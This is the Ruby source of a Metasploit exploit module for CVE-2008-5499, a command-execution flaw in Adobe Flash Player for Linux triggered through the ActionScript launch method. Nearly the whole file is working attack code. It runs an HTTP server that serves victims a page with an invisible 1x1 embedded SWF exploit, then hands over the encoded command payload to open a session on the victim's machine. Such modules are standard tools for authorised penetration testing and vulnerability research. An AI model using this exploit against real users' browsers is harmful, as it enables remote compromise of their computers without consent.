Path: blob/master/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',15'Description' => %q{16This module exploits a vulnerability in Adobe Flash Player for Linux,17version 10.0.12.36 and 9.0.151.0 and prior.18An input validation vulnerability allows command execution when the browser19loads a SWF file which contains shell metacharacters in the arguments to20the ActionScript launch method.2122The victim must have Adobe AIR installed for the exploit to work. This module23was tested against version 10.0.12.36 (10r12_36).24},25'License' => MSF_LICENSE,26'Author' => [27'0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version28],29'References' => [30['CVE', '2008-5499'],31['OSVDB', '50796'],32['BID', '32896'],33['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html']34],35'DefaultOptions' => {36'HTTP::compression' => 'gzip',37'HTTP::chunked' => true38},39'Platform' => 'unix', # so unix cmd exec payloads are ok40'Arch' => ARCH_CMD,41'Targets' => [42[ 'Automatic', {}],43],44'DisclosureDate' => '2008-12-17',45'DefaultTarget' => 0,46'Notes' => {47'Stability' => [CRASH_SERVICE_DOWN],48'SideEffects' => [],49'Reliability' => [REPEATABLE_SESSION]50}51)52)53end5455def exploit56path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2008-5499.swf')57@swf = File.binread(path)5859super60end6162def on_request_uri(cli, request)63msg = "#{cli.peerhost.ljust(16)} #{shortname}"64trigger = @swf65trigger_file = rand_text_alpha(3..8) + '.swf'6667obj_id = rand_text_alpha(3..8)6869if request.uri.match(/\.swf/i)70print_status("#{msg} Sending Exploit SWF")71send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })72return73end7475if request.uri.match(/\.txt/i)76send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })77return78end7980html = <<-EOS81<html>82<head>83</head>84<body>85<center>86<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">87<param name="movie" value="#{get_resource}#{trigger_file}" />88<embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all"89type="application/x-shockwave-flash"90pluginspage="http://www.macromedia.com/go/getflashplayer">91</embed>9293</object>94</center>9596</body>97</html>98EOS99100print_status("#{msg} Sending HTML...")101send_response(cli, html, { 'Content-Type' => 'text/html' })102end103end104105106